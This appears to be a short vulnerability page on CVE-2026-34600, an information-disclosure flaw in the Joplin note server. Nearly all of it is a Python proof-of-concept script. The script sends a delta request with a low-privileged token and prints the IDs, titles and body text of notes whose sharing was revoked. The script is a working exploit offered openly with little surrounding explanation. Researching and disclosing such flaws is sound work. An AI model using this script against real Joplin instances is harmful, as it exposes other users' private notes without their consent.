CVE-2026-34600 Joplin信息泄露漏洞

import requests import json # Conceptual Proof of Concept for CVE-2026-34600 # This script demonstrates how an attacker might exploit the delta API logic error # to retrieve note content that is no longer shared with them. TARGET_URL = "https://target-joplin-instance.com" API_ENDPOINT = f"{TARGET_URL}/api/delta" SESSION_TOKEN = "<attacker_session_token>" # Low-privileged user token headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } # Step 1: Request delta updates # The vulnerability relies on the server including items in the delta response # without verifying if the sharing permission was revoked. payload = { "options": { "DELTA_INCLUDES_ITEMS": True # Trigger the vulnerable logic path } } try: print(f"[*] Requesting delta from {API_ENDPOINT}...") response = requests.post(API_ENDPOINT, headers=headers, data=json.dumps(payload)) if response.status_code == 200: data = response.json() # Step 2: Parse response for exposed notes # Check if items are present that should have been filtered out if "items" in data: print("[+] Delta response received. Analyzing items...") for item in data["items"]: # In a real exploit, we would look for specific Note IDs we know were revoked print(f"[!] Found Item ID: {item.get('id')}") print(f" Title: {item.get('title')}") print(f" Body (Snippet): {item.get('body')[:50]}...") print(" [*] This data should not be accessible if sharing was revoked.") else: print("[-] No items found in delta response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {str(e)}")